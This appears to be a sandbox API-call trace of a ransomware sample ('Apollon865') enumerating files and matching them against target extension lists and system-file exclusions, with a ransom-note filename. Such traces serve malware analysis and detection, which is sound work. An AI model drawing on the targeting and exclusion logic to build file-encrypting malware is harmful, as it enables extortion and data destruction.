	[0066.772] lstrlenW (lpString="dbv") returned 3
	[0066.772] lstrcmpiW (lpString1="POC", lpString2="dbv") returned 1
	[0066.772] lstrlenW (lpString="dbx") returned 3
	[0066.772] lstrcmpiW (lpString1="POC", lpString2="dbx") returned 1
	[0066.772] lstrlenW (lpString="dcb") returned 3
	[0066.772] lstrcmpiW (lpString1="POC", lpString2="dcb") returned 1
	[0066.772] lstrlenW (lpString="dct") returned 3
	[0066.772] lstrcmpiW (lpString1="POC", lpString2="dct") returned 1
	[0066.772] lstrlenW (lpString="dcx") returned 3
	[0066.772] lstrcmpiW (lpString1="POC", lpString2="dcx") returned 1
	[0066.772] lstrlenW (lpString="ddl") returned 3
	[0066.772] lstrcmpiW (lpString1="POC", lpString2="ddl") returned 1
	[0066.773] lstrlenW (lpString="dlis") returned 4
	[0066.773] lstrcmpiW (lpString1=".POC", lpString2="dlis") returned -1
	[0066.773] lstrlenW (lpString="dp1") returned 3
	[0066.773] lstrcmpiW (lpString1="POC", lpString2="dp1") returned 1
	[0066.773] lstrlenW (lpString="dqy") returned 3
	[0066.773] lstrcmpiW (lpString1="POC", lpString2="dqy") returned 1
	[0066.773] lstrlenW (lpString="dsk") returned 3
	[0066.773] lstrcmpiW (lpString1="POC", lpString2="dsk") returned 1
	[0066.773] lstrlenW (lpString="dsn") returned 3
	[0066.773] lstrcmpiW (lpString1="POC", lpString2="dsn") returned 1
	[0066.773] lstrlenW (lpString="dtsx") returned 4
	[0066.773] lstrcmpiW (lpString1=".POC", lpString2="dtsx") returned -1
	[0066.773] lstrlenW (lpString="dxl") returned 3
	[0066.773] lstrcmpiW (lpString1="POC", lpString2="dxl") returned 1
	[0066.773] lstrlenW (lpString="eco") returned 3
	[0066.773] lstrcmpiW (lpString1="POC", lpString2="eco") returned 1
	[0066.773] lstrlenW (lpString="ecx") returned 3
	[0066.773] lstrcmpiW (lpString1="POC", lpString2="ecx") returned 1
	[0066.773] lstrlenW (lpString="edb") returned 3
	[0066.773] lstrcmpiW (lpString1="POC", lpString2="edb") returned 1
	[0066.773] lstrlenW (lpString="epim") returned 4
	[0066.773] lstrcmpiW (lpString1=".POC", lpString2="epim") returned -1
	[0066.773] lstrlenW (lpString="fcd") returned 3
	[0066.773] lstrcmpiW (lpString1="POC", lpString2="fcd") returned 1
	[0066.773] lstrlenW (lpString="fdb") returned 3
	[0066.773] lstrcmpiW (lpString1="POC", lpString2="fdb") returned 1
	[0066.773] lstrlenW (lpString="fic") returned 3
	[0066.773] lstrcmpiW (lpString1="POC", lpString2="fic") returned 1
	[0066.773] lstrlenW (lpString="flexolibrary") returned 12
	[0066.773] lstrlenW (lpString="fm5") returned 3
	[0066.773] lstrcmpiW (lpString1="POC", lpString2="fm5") returned 1
	[0066.773] lstrlenW (lpString="fmp") returned 3
	[0066.773] lstrcmpiW (lpString1="POC", lpString2="fmp") returned 1
	[0066.773] lstrlenW (lpString="fmp12") returned 5
	[0066.773] lstrcmpiW (lpString1="P.POC", lpString2="fmp12") returned 1
	[0066.773] lstrlenW (lpString="fmpsl") returned 5
	[0066.773] lstrcmpiW (lpString1="P.POC", lpString2="fmpsl") returned 1
	[0066.774] lstrlenW (lpString="fol") returned 3
	[0066.774] lstrcmpiW (lpString1="POC", lpString2="fol") returned 1
	[0066.774] lstrlenW (lpString="fp3") returned 3
	[0066.774] lstrcmpiW (lpString1="POC", lpString2="fp3") returned 1
	[0066.774] lstrlenW (lpString="fp4") returned 3
	[0066.774] lstrcmpiW (lpString1="POC", lpString2="fp4") returned 1
	[0066.774] lstrlenW (lpString="fp5") returned 3
	[0066.774] lstrcmpiW (lpString1="POC", lpString2="fp5") returned 1
	[0066.774] lstrlenW (lpString="fp7") returned 3
	[0066.774] lstrcmpiW (lpString1="POC", lpString2="fp7") returned 1
	[0066.774] lstrlenW (lpString="fpt") returned 3
	[0066.774] lstrcmpiW (lpString1="POC", lpString2="fpt") returned 1
	[0066.774] lstrlenW (lpString="frm") returned 3
	[0066.774] lstrcmpiW (lpString1="POC", lpString2="frm") returned 1
	[0066.774] lstrlenW (lpString="gdb") returned 3
	[0066.774] lstrcmpiW (lpString1="POC", lpString2="gdb") returned 1
	[0066.774] lstrlenW (lpString="gdb") returned 3
	[0066.774] lstrcmpiW (lpString1="POC", lpString2="gdb") returned 1
	[0066.774] lstrlenW (lpString="grdb") returned 4
	[0066.774] lstrcmpiW (lpString1=".POC", lpString2="grdb") returned -1
	[0066.774] lstrlenW (lpString="gwi") returned 3
	[0066.774] lstrcmpiW (lpString1="POC", lpString2="gwi") returned 1
	[0066.774] lstrlenW (lpString="hdb") returned 3
	[0066.774] lstrcmpiW (lpString1="POC", lpString2="hdb") returned 1
	[0066.774] lstrlenW (lpString="his") returned 3
	[0066.774] lstrcmpiW (lpString1="POC", lpString2="his") returned 1
	[0066.774] lstrlenW (lpString="ib") returned 2
	[0066.774] lstrcmpiW (lpString1="OC", lpString2="ib") returned 1
	[0066.774] lstrlenW (lpString="idb") returned 3
	[0066.774] lstrcmpiW (lpString1="POC", lpString2="idb") returned 1
	[0066.774] lstrlenW (lpString="ihx") returned 3
	[0066.774] lstrcmpiW (lpString1="POC", lpString2="ihx") returned 1
	[0066.774] lstrlenW (lpString="itdb") returned 4
	[0066.774] lstrcmpiW (lpString1=".POC", lpString2="itdb") returned -1
	[0066.774] lstrlenW (lpString="itw") returned 3
	[0066.774] lstrcmpiW (lpString1="POC", lpString2="itw") returned 1
	[0066.774] lstrlenW (lpString="jet") returned 3
	[0066.775] lstrcmpiW (lpString1="POC", lpString2="jet") returned 1
	[0066.775] lstrlenW (lpString="jtx") returned 3
	[0066.775] lstrcmpiW (lpString1="POC", lpString2="jtx") returned 1
	[0066.775] lstrlenW (lpString="kdb") returned 3
	[0066.775] lstrcmpiW (lpString1="POC", lpString2="kdb") returned 1
	[0066.775] lstrlenW (lpString="kexi") returned 4
	[0066.775] lstrcmpiW (lpString1=".POC", lpString2="kexi") returned -1
	[0066.775] lstrlenW (lpString="kexic") returned 5
	[0066.775] lstrcmpiW (lpString1="P.POC", lpString2="kexic") returned 1
	[0066.775] lstrlenW (lpString="kexis") returned 5
	[0066.775] lstrcmpiW (lpString1="P.POC", lpString2="kexis") returned 1
	[0066.775] lstrlenW (lpString="lgc") returned 3
	[0066.775] lstrcmpiW (lpString1="POC", lpString2="lgc") returned 1
	[0066.775] lstrlenW (lpString="lwx") returned 3
	[0066.775] lstrcmpiW (lpString1="POC", lpString2="lwx") returned 1
	[0066.775] lstrlenW (lpString="maf") returned 3
	[0066.775] lstrcmpiW (lpString1="POC", lpString2="maf") returned 1
	[0066.775] lstrlenW (lpString="maq") returned 3
	[0066.775] lstrcmpiW (lpString1="POC", lpString2="maq") returned 1
	[0066.775] lstrlenW (lpString="mar") returned 3
	[0066.775] lstrcmpiW (lpString1="POC", lpString2="mar") returned 1
	[0066.775] lstrlenW (lpString="marshal") returned 7
	[0066.775] lstrcmpiW (lpString1="8SP.POC", lpString2="marshal") returned -1
	[0066.775] lstrlenW (lpString="mas") returned 3
	[0066.775] lstrcmpiW (lpString1="POC", lpString2="mas") returned 1
	[0066.775] lstrlenW (lpString="mav") returned 3
	[0066.775] lstrcmpiW (lpString1="POC", lpString2="mav") returned 1
	[0066.775] lstrlenW (lpString="maw") returned 3
	[0066.775] lstrcmpiW (lpString1="POC", lpString2="maw") returned 1
	[0066.775] lstrlenW (lpString="mdbhtml") returned 7
	[0066.775] lstrcmpiW (lpString1="8SP.POC", lpString2="mdbhtml") returned -1
	[0066.775] lstrlenW (lpString="mdn") returned 3
	[0066.775] lstrcmpiW (lpString1="POC", lpString2="mdn") returned 1
	[0066.775] lstrlenW (lpString="mdt") returned 3
	[0066.775] lstrcmpiW (lpString1="POC", lpString2="mdt") returned 1
	[0066.775] lstrlenW (lpString="mfd") returned 3
	[0066.776] lstrcmpiW (lpString1="POC", lpString2="mfd") returned 1
	[0066.776] lstrlenW (lpString="mpd") returned 3
	[0066.776] lstrcmpiW (lpString1="POC", lpString2="mpd") returned 1
	[0066.776] lstrlenW (lpString="mrg") returned 3
	[0066.776] lstrcmpiW (lpString1="POC", lpString2="mrg") returned 1
	[0066.776] lstrlenW (lpString="mud") returned 3
	[0066.776] lstrcmpiW (lpString1="POC", lpString2="mud") returned 1
	[0066.776] lstrlenW (lpString="mwb") returned 3
	[0066.776] lstrcmpiW (lpString1="POC", lpString2="mwb") returned 1
	[0066.776] lstrlenW (lpString="myd") returned 3
	[0066.776] lstrcmpiW (lpString1="POC", lpString2="myd") returned 1
	[0066.776] lstrlenW (lpString="ndf") returned 3
	[0066.776] lstrcmpiW (lpString1="POC", lpString2="ndf") returned 1
	[0066.776] lstrlenW (lpString="nnt") returned 3
	[0066.776] lstrcmpiW (lpString1="POC", lpString2="nnt") returned 1
	[0066.776] lstrlenW (lpString="nrmlib") returned 6
	[0066.776] lstrcmpiW (lpString1="SP.POC", lpString2="nrmlib") returned 1
	[0066.776] lstrlenW (lpString="ns2") returned 3
	[0066.776] lstrcmpiW (lpString1="POC", lpString2="ns2") returned 1
	[0066.776] lstrlenW (lpString="ns3") returned 3
	[0066.776] lstrcmpiW (lpString1="POC", lpString2="ns3") returned 1
	[0066.776] lstrlenW (lpString="ns4") returned 3
	[0066.776] lstrcmpiW (lpString1="POC", lpString2="ns4") returned 1
	[0066.776] lstrlenW (lpString="nsf") returned 3
	[0066.776] lstrcmpiW (lpString1="POC", lpString2="nsf") returned 1
	[0066.776] lstrlenW (lpString="nv") returned 2
	[0066.776] lstrcmpiW (lpString1="OC", lpString2="nv") returned 1
	[0066.776] lstrlenW (lpString="nv2") returned 3
	[0066.776] lstrcmpiW (lpString1="POC", lpString2="nv2") returned 1
	[0066.776] lstrlenW (lpString="nwdb") returned 4
	[0066.776] lstrcmpiW (lpString1=".POC", lpString2="nwdb") returned -1
	[0066.776] lstrlenW (lpString="nyf") returned 3
	[0066.776] lstrcmpiW (lpString1="POC", lpString2="nyf") returned 1
	[0066.776] lstrlenW (lpString="odb") returned 3
	[0066.776] lstrcmpiW (lpString1="POC", lpString2="odb") returned 1
	[0066.776] lstrlenW (lpString="odb") returned 3
	[0066.776] lstrcmpiW (lpString1="POC", lpString2="odb") returned 1
	[0066.777] lstrlenW (lpString="oqy") returned 3
	[0066.777] lstrcmpiW (lpString1="POC", lpString2="oqy") returned 1
	[0066.777] lstrlenW (lpString="ora") returned 3
	[0066.777] lstrcmpiW (lpString1="POC", lpString2="ora") returned 1
	[0066.777] lstrlenW (lpString="orx") returned 3
	[0066.777] lstrcmpiW (lpString1="POC", lpString2="orx") returned 1
	[0066.777] lstrlenW (lpString="owc") returned 3
	[0066.777] lstrcmpiW (lpString1="POC", lpString2="owc") returned 1
	[0066.777] lstrlenW (lpString="p96") returned 3
	[0066.777] lstrcmpiW (lpString1="POC", lpString2="p96") returned 1
	[0066.777] lstrlenW (lpString="p97") returned 3
	[0066.777] lstrcmpiW (lpString1="POC", lpString2="p97") returned 1
	[0066.777] lstrlenW (lpString="pan") returned 3
	[0066.777] lstrcmpiW (lpString1="POC", lpString2="pan") returned 1
	[0066.777] lstrlenW (lpString="pdb") returned 3
	[0066.777] lstrcmpiW (lpString1="POC", lpString2="pdb") returned 1
	[0066.777] lstrlenW (lpString="pdm") returned 3
	[0066.777] lstrcmpiW (lpString1="POC", lpString2="pdm") returned 1
	[0066.777] lstrlenW (lpString="pnz") returned 3
	[0066.777] lstrcmpiW (lpString1="POC", lpString2="pnz") returned 1
	[0066.777] lstrlenW (lpString="qry") returned 3
	[0066.777] lstrcmpiW (lpString1="POC", lpString2="qry") returned -1
	[0066.777] lstrlenW (lpString="qvd") returned 3
	[0066.777] lstrcmpiW (lpString1="POC", lpString2="qvd") returned -1
	[0066.777] lstrlenW (lpString="rbf") returned 3
	[0066.777] lstrcmpiW (lpString1="POC", lpString2="rbf") returned -1
	[0066.777] lstrlenW (lpString="rctd") returned 4
	[0066.777] lstrcmpiW (lpString1=".POC", lpString2="rctd") returned -1
	[0066.777] lstrlenW (lpString="rod") returned 3
	[0066.777] lstrcmpiW (lpString1="POC", lpString2="rod") returned -1
	[0066.777] lstrlenW (lpString="rodx") returned 4
	[0066.777] lstrcmpiW (lpString1=".POC", lpString2="rodx") returned -1
	[0066.777] lstrlenW (lpString="rpd") returned 3
	[0066.777] lstrcmpiW (lpString1="POC", lpString2="rpd") returned -1
	[0066.777] lstrlenW (lpString="rsd") returned 3
	[0066.777] lstrcmpiW (lpString1="POC", lpString2="rsd") returned -1
	[0066.777] lstrlenW (lpString="sas7bdat") returned 8
	[0066.778] lstrcmpiW (lpString1="98SP.POC", lpString2="sas7bdat") returned -1
	[0066.778] lstrlenW (lpString="sbf") returned 3
	[0066.778] lstrcmpiW (lpString1="POC", lpString2="sbf") returned -1
	[0066.778] lstrlenW (lpString="scx") returned 3
	[0066.778] lstrcmpiW (lpString1="POC", lpString2="scx") returned -1
	[0066.778] lstrlenW (lpString="sdb") returned 3
	[0066.778] lstrcmpiW (lpString1="POC", lpString2="sdb") returned -1
	[0066.778] lstrlenW (lpString="sdc") returned 3
	[0066.778] lstrcmpiW (lpString1="POC", lpString2="sdc") returned -1
	[0066.778] lstrlenW (lpString="sdf") returned 3
	[0066.778] lstrcmpiW (lpString1="POC", lpString2="sdf") returned -1
	[0066.778] lstrlenW (lpString="sis") returned 3
	[0066.778] lstrcmpiW (lpString1="POC", lpString2="sis") returned -1
	[0066.778] lstrlenW (lpString="spq") returned 3
	[0066.778] lstrcmpiW (lpString1="POC", lpString2="spq") returned -1
	[0066.778] lstrlenW (lpString="te") returned 2
	[0066.778] lstrcmpiW (lpString1="OC", lpString2="te") returned -1
	[0066.778] lstrlenW (lpString="teacher") returned 7
	[0066.778] lstrcmpiW (lpString1="8SP.POC", lpString2="teacher") returned -1
	[0066.778] lstrlenW (lpString="tmd") returned 3
	[0066.778] lstrcmpiW (lpString1="POC", lpString2="tmd") returned -1
	[0066.778] lstrlenW (lpString="tps") returned 3
	[0066.778] lstrcmpiW (lpString1="POC", lpString2="tps") returned -1
	[0066.778] lstrlenW (lpString="trc") returned 3
	[0066.778] lstrcmpiW (lpString1="POC", lpString2="trc") returned -1
	[0066.778] lstrlenW (lpString="trc") returned 3
	[0066.778] lstrcmpiW (lpString1="POC", lpString2="trc") returned -1
	[0066.778] lstrlenW (lpString="trm") returned 3
	[0066.778] lstrcmpiW (lpString1="POC", lpString2="trm") returned -1
	[0066.778] lstrlenW (lpString="udb") returned 3
	[0066.778] lstrcmpiW (lpString1="POC", lpString2="udb") returned -1
	[0066.778] lstrlenW (lpString="udl") returned 3
	[0066.778] lstrcmpiW (lpString1="POC", lpString2="udl") returned -1
	[0066.778] lstrlenW (lpString="usr") returned 3
	[0066.778] lstrcmpiW (lpString1="POC", lpString2="usr") returned -1
	[0066.778] lstrlenW (lpString="v12") returned 3
	[0066.779] lstrcmpiW (lpString1="POC", lpString2="v12") returned -1
	[0066.779] lstrlenW (lpString="vis") returned 3
	[0066.779] lstrcmpiW (lpString1="POC", lpString2="vis") returned -1
	[0066.779] lstrlenW (lpString="vpd") returned 3
	[0066.779] lstrcmpiW (lpString1="POC", lpString2="vpd") returned -1
	[0066.779] lstrlenW (lpString="vvv") returned 3
	[0066.779] lstrcmpiW (lpString1="POC", lpString2="vvv") returned -1
	[0066.779] lstrlenW (lpString="wdb") returned 3
	[0066.779] lstrcmpiW (lpString1="POC", lpString2="wdb") returned -1
	[0066.779] lstrlenW (lpString="wmdb") returned 4
	[0066.779] lstrcmpiW (lpString1=".POC", lpString2="wmdb") returned -1
	[0066.779] lstrlenW (lpString="wrk") returned 3
	[0066.779] lstrcmpiW (lpString1="POC", lpString2="wrk") returned -1
	[0066.779] lstrlenW (lpString="xdb") returned 3
	[0066.779] lstrcmpiW (lpString1="POC", lpString2="xdb") returned -1
	[0066.779] lstrlenW (lpString="xld") returned 3
	[0066.779] lstrcmpiW (lpString1="POC", lpString2="xld") returned -1
	[0066.779] lstrlenW (lpString="xmlff") returned 5
	[0066.779] lstrcmpiW (lpString1="P.POC", lpString2="xmlff") returned -1
	[0066.779] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fe70900, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1fe70900, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x170e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CHECKER.POC", cAlternateFileName="")) returned 1
	[0066.779] lstrcmpiW (lpString1="CHECKER.POC", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.779] lstrcmpiW (lpString1="CHECKER.POC", lpString2="Apollon865.txt.exe") returned 1
	[0066.779] lstrcmpiW (lpString1="CHECKER.POC", lpString2=".") returned 1
	[0066.779] lstrcmpiW (lpString1="CHECKER.POC", lpString2="..") returned 1
	[0066.779] lstrcmpiW (lpString1="CHECKER.POC", lpString2="windows") returned -1
	[0066.779] lstrcmpiW (lpString1="CHECKER.POC", lpString2="bootmgr") returned 1
	[0066.779] lstrcmpiW (lpString1="CHECKER.POC", lpString2="temp") returned -1
	[0066.779] lstrcmpiW (lpString1="CHECKER.POC", lpString2="pagefile.sys") returned -1
	[0066.779] lstrcmpiW (lpString1="CHECKER.POC", lpString2="boot") returned 1
	[0066.779] lstrcmpiW (lpString1="CHECKER.POC", lpString2="ids.txt") returned -1
	[0066.779] lstrcmpiW (lpString1="CHECKER.POC", lpString2="ntuser.dat") returned -1
	[0066.779] lstrcmpiW (lpString1="CHECKER.POC", lpString2="perflogs") returned -1
	[0066.779] lstrcmpiW (lpString1="CHECKER.POC", lpString2="MSBuild") returned -1
	[0066.779] lstrlenW (lpString="CHECKER.POC") returned 11
	[0066.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT98SP.POC") returned 62
	[0066.779] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="CHECKER.POC" | out: lpString1="CHECKER.POC") returned="CHECKER.POC"
	[0066.780] lstrlenW (lpString="CHECKER.POC") returned 11
	[0066.780] lstrlenW (lpString="Apollon865") returned 10
	[0066.780] lstrcmpiW (lpString1="HECKER.POC", lpString2="Apollon865") returned 1
	[0066.780] lstrlenW (lpString=".dll") returned 4
	[0066.780] lstrcmpiW (lpString1="CHECKER.POC", lpString2=".dll") returned 1
	[0066.780] lstrlenW (lpString=".lnk") returned 4
	[0066.780] lstrcmpiW (lpString1="CHECKER.POC", lpString2=".lnk") returned 1
	[0066.780] lstrlenW (lpString=".ini") returned 4
	[0066.780] lstrcmpiW (lpString1="CHECKER.POC", lpString2=".ini") returned 1
	[0066.780] lstrlenW (lpString=".sys") returned 4
	[0066.780] lstrcmpiW (lpString1="CHECKER.POC", lpString2=".sys") returned 1
	[0066.780] lstrlenW (lpString="CHECKER.POC") returned 11
	[0066.780] lstrlenW (lpString="bak") returned 3
	[0066.780] lstrcmpiW (lpString1="POC", lpString2="bak") returned 1
	[0066.780] lstrlenW (lpString="ba_") returned 3
	[0066.780] lstrcmpiW (lpString1="POC", lpString2="ba_") returned 1
	[0066.780] lstrlenW (lpString="dbb") returned 3
	[0066.780] lstrcmpiW (lpString1="POC", lpString2="dbb") returned 1
	[0066.780] lstrlenW (lpString="vmdk") returned 4
	[0066.780] lstrcmpiW (lpString1=".POC", lpString2="vmdk") returned -1
	[0066.780] lstrlenW (lpString="rar") returned 3
	[0066.780] lstrcmpiW (lpString1="POC", lpString2="rar") returned -1
	[0066.780] lstrlenW (lpString="zip") returned 3
	[0066.780] lstrcmpiW (lpString1="POC", lpString2="zip") returned -1
	[0066.780] lstrlenW (lpString="tgz") returned 3
	[0066.780] lstrcmpiW (lpString1="POC", lpString2="tgz") returned -1
	[0066.780] lstrlenW (lpString="vbox") returned 4
	[0066.780] lstrcmpiW (lpString1=".POC", lpString2="vbox") returned -1
	[0066.780] lstrlenW (lpString="vdi") returned 3
	[0066.780] lstrcmpiW (lpString1="POC", lpString2="vdi") returned -1
	[0066.780] lstrlenW (lpString="vhd") returned 3
	[0066.780] lstrcmpiW (lpString1="POC", lpString2="vhd") returned -1
	[0066.780] lstrlenW (lpString="vhdx") returned 4
	[0066.780] lstrcmpiW (lpString1=".POC", lpString2="vhdx") returned -1
	[0066.780] lstrlenW (lpString="avhd") returned 4
	[0066.780] lstrcmpiW (lpString1=".POC", lpString2="avhd") returned -1
	[0066.780] lstrlenW (lpString="db") returned 2
	[0066.781] lstrcmpiW (lpString1="OC", lpString2="db") returned 1
	[0066.781] lstrlenW (lpString="db2") returned 3
	[0066.781] lstrcmpiW (lpString1="POC", lpString2="db2") returned 1
	[0066.781] lstrlenW (lpString="db3") returned 3
	[0066.781] lstrcmpiW (lpString1="POC", lpString2="db3") returned 1
	[0066.781] lstrlenW (lpString="dbf") returned 3
	[0066.781] lstrcmpiW (lpString1="POC", lpString2="dbf") returned 1
	[0066.781] lstrlenW (lpString="mdf") returned 3
	[0066.781] lstrcmpiW (lpString1="POC", lpString2="mdf") returned 1
	[0066.781] lstrlenW (lpString="mdb") returned 3
	[0066.781] lstrcmpiW (lpString1="POC", lpString2="mdb") returned 1
	[0066.781] lstrlenW (lpString="sql") returned 3
	[0066.781] lstrcmpiW (lpString1="POC", lpString2="sql") returned -1
	[0066.781] lstrlenW (lpString="sqlite") returned 6
	[0066.781] lstrcmpiW (lpString1="ER.POC", lpString2="sqlite") returned -1
	[0066.781] lstrlenW (lpString="sqlite3") returned 7
	[0066.781] lstrcmpiW (lpString1="KER.POC", lpString2="sqlite3") returned -1
	[0066.781] lstrlenW (lpString="sqlitedb") returned 8
	[0066.781] lstrcmpiW (lpString1="CKER.POC", lpString2="sqlitedb") returned -1
	[0066.781] lstrlenW (lpString="xml") returned 3
	[0066.781] lstrcmpiW (lpString1="POC", lpString2="xml") returned -1
	[0066.781] lstrlenW (lpString="$er") returned 3
	[0066.781] lstrcmpiW (lpString1="POC", lpString2="$er") returned 1
	[0066.781] lstrlenW (lpString="4dd") returned 3
	[0066.781] lstrcmpiW (lpString1="POC", lpString2="4dd") returned 1
	[0066.781] lstrlenW (lpString="4dl") returned 3
	[0066.781] lstrcmpiW (lpString1="POC", lpString2="4dl") returned 1
	[0066.781] lstrlenW (lpString="^^^") returned 3
	[0066.781] lstrcmpiW (lpString1="POC", lpString2="^^^") returned 1
	[0066.781] lstrlenW (lpString="abs") returned 3
	[0066.781] lstrcmpiW (lpString1="POC", lpString2="abs") returned 1
	[0066.781] lstrlenW (lpString="abx") returned 3
	[0066.781] lstrcmpiW (lpString1="POC", lpString2="abx") returned 1
	[0066.781] lstrlenW (lpString="accdb") returned 5
	[0066.781] lstrcmpiW (lpString1="R.POC", lpString2="accdb") returned 1
	[0066.781] lstrlenW (lpString="accdc") returned 5
	[0066.782] lstrcmpiW (lpString1="R.POC", lpString2="accdc") returned 1
	[0066.782] lstrlenW (lpString="accde") returned 5
	[0066.782] lstrcmpiW (lpString1="R.POC", lpString2="accde") returned 1
	[0066.782] lstrlenW (lpString="accdr") returned 5
	[0066.782] lstrcmpiW (lpString1="R.POC", lpString2="accdr") returned 1
	[0066.782] lstrlenW (lpString="accdt") returned 5
	[0066.782] lstrcmpiW (lpString1="R.POC", lpString2="accdt") returned 1
	[0066.782] lstrlenW (lpString="accdw") returned 5
	[0066.782] lstrcmpiW (lpString1="R.POC", lpString2="accdw") returned 1
	[0066.782] lstrlenW (lpString="accft") returned 5
	[0066.782] lstrcmpiW (lpString1="R.POC", lpString2="accft") returned 1
	[0066.782] lstrlenW (lpString="adb") returned 3
	[0066.782] lstrcmpiW (lpString1="POC", lpString2="adb") returned 1
	[0066.782] lstrlenW (lpString="adb") returned 3
	[0066.782] lstrcmpiW (lpString1="POC", lpString2="adb") returned 1
	[0066.782] lstrlenW (lpString="ade") returned 3
	[0066.782] lstrcmpiW (lpString1="POC", lpString2="ade") returned 1
	[0066.782] lstrlenW (lpString="adf") returned 3
	[0066.782] lstrcmpiW (lpString1="POC", lpString2="adf") returned 1
	[0066.782] lstrlenW (lpString="adn") returned 3
	[0066.782] lstrcmpiW (lpString1="POC", lpString2="adn") returned 1
	[0066.782] lstrlenW (lpString="adp") returned 3
	[0066.782] lstrcmpiW (lpString1="POC", lpString2="adp") returned 1
	[0066.782] lstrlenW (lpString="alf") returned 3
	[0066.782] lstrcmpiW (lpString1="POC", lpString2="alf") returned 1
	[0066.782] lstrlenW (lpString="ask") returned 3
	[0066.782] lstrcmpiW (lpString1="POC", lpString2="ask") returned 1
	[0066.782] lstrlenW (lpString="btr") returned 3
	[0066.782] lstrcmpiW (lpString1="POC", lpString2="btr") returned 1
	[0066.782] lstrlenW (lpString="cat") returned 3
	[0066.782] lstrcmpiW (lpString1="POC", lpString2="cat") returned 1
	[0066.782] lstrlenW (lpString="cdb") returned 3
	[0066.782] lstrcmpiW (lpString1="POC", lpString2="cdb") returned 1
	[0066.782] lstrlenW (lpString="ckp") returned 3
	[0066.782] lstrcmpiW (lpString1="POC", lpString2="ckp") returned 1
	[0066.782] lstrlenW (lpString="cma") returned 3
	[0066.783] lstrcmpiW (lpString1="POC", lpString2="cma") returned 1
	[0066.783] lstrlenW (lpString="cpd") returned 3
	[0066.783] lstrcmpiW (lpString1="POC", lpString2="cpd") returned 1
	[0066.783] lstrlenW (lpString="dacpac") returned 6
	[0066.783] lstrcmpiW (lpString1="ER.POC", lpString2="dacpac") returned 1
	[0066.783] lstrlenW (lpString="dad") returned 3
	[0066.783] lstrcmpiW (lpString1="POC", lpString2="dad") returned 1
	[0066.783] lstrlenW (lpString="dadiagrams") returned 10
	[0066.783] lstrcmpiW (lpString1="HECKER.POC", lpString2="dadiagrams") returned 1
	[0066.783] lstrlenW (lpString="daschema") returned 8
	[0066.783] lstrcmpiW (lpString1="CKER.POC", lpString2="daschema") returned -1
	[0066.783] lstrlenW (lpString="db-journal") returned 10
	[0066.783] lstrcmpiW (lpString1="HECKER.POC", lpString2="db-journal") returned 1
	[0066.783] lstrlenW (lpString="db-shm") returned 6
	[0066.783] lstrcmpiW (lpString1="ER.POC", lpString2="db-shm") returned 1
	[0066.783] lstrlenW (lpString="db-wal") returned 6
	[0066.783] lstrcmpiW (lpString1="ER.POC", lpString2="db-wal") returned 1
	[0066.783] lstrlenW (lpString="dbc") returned 3
	[0066.783] lstrcmpiW (lpString1="POC", lpString2="dbc") returned 1
	[0066.783] lstrlenW (lpString="dbs") returned 3
	[0066.783] lstrcmpiW (lpString1="POC", lpString2="dbs") returned 1
	[0066.783] lstrlenW (lpString="dbt") returned 3
	[0066.783] lstrcmpiW (lpString1="POC", lpString2="dbt") returned 1
	[0066.783] lstrlenW (lpString="dbv") returned 3
	[0066.783] lstrcmpiW (lpString1="POC", lpString2="dbv") returned 1
	[0066.783] lstrlenW (lpString="dbx") returned 3
	[0066.783] lstrcmpiW (lpString1="POC", lpString2="dbx") returned 1
	[0066.783] lstrlenW (lpString="dcb") returned 3
	[0066.783] lstrcmpiW (lpString1="POC", lpString2="dcb") returned 1
	[0066.783] lstrcmpiW (lpString1="POC", lpString2="dct") returned 1
	[0066.783] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="CONTACTINFOBB.DPV" | out: lpString1="CONTACTINFOBB.DPV") returned="CONTACTINFOBB.DPV"
	[0066.783] lstrlenW (lpString="CONTACTINFOBB.DPV") returned 17
	[0066.784] lstrlenW (lpString="Apollon865") returned 10
	[0066.784] lstrcmpiW (lpString1="INFOBB.DPV", lpString2="Apollon865") returned 1
	[0066.784] lstrlenW (lpString=".dll") returned 4
	[0066.784] lstrcmpiW (lpString1="CONTACTINFOBB.DPV", lpString2=".dll") returned 1
	[0066.784] lstrlenW (lpString=".lnk") returned 4
	[0066.784] lstrcmpiW (lpString1="CONTACTINFOBB.DPV", lpString2=".lnk") returned 1
	[0066.784] lstrlenW (lpString=".ini") returned 4
	[0066.784] lstrcmpiW (lpString1="CONTACTINFOBB.DPV", lpString2=".ini") returned 1
	[0066.784] lstrlenW (lpString=".sys") returned 4
	[0066.784] lstrcmpiW (lpString1="CONTACTINFOBB.DPV", lpString2=".sys") returned 1
	[0066.784] lstrlenW (lpString="CONTACTINFOBB.DPV") returned 17
	[0066.784] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="CONTACTINFOBB.POC" | out: lpString1="CONTACTINFOBB.POC") returned="CONTACTINFOBB.POC"
	[0066.784] lstrlenW (lpString="CONTACTINFOBB.POC") returned 17
	[0066.784] lstrlenW (lpString="Apollon865") returned 10
	[0066.784] lstrcmpiW (lpString1="INFOBB.POC", lpString2="Apollon865") returned 1
	[0066.784] lstrlenW (lpString=".dll") returned 4
	[0066.784] lstrcmpiW (lpString1="CONTACTINFOBB.POC", lpString2=".dll") returned 1
	[0066.784] lstrlenW (lpString=".lnk") returned 4
	[0066.784] lstrcmpiW (lpString1="CONTACTINFOBB.POC", lpString2=".lnk") returned 1
	[0066.784] lstrlenW (lpString=".ini") returned 4
	[0066.784] lstrcmpiW (lpString1="CONTACTINFOBB.POC", lpString2=".ini") returned 1
	[0066.784] lstrlenW (lpString=".sys") returned 4
	[0066.784] lstrcmpiW (lpString1="CONTACTINFOBB.POC", lpString2=".sys") returned 1
	[0066.784] lstrlenW (lpString="CONTACTINFOBB.POC") returned 17
	[0066.784] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="COUPON.POC" | out: lpString1="COUPON.POC") returned="COUPON.POC"
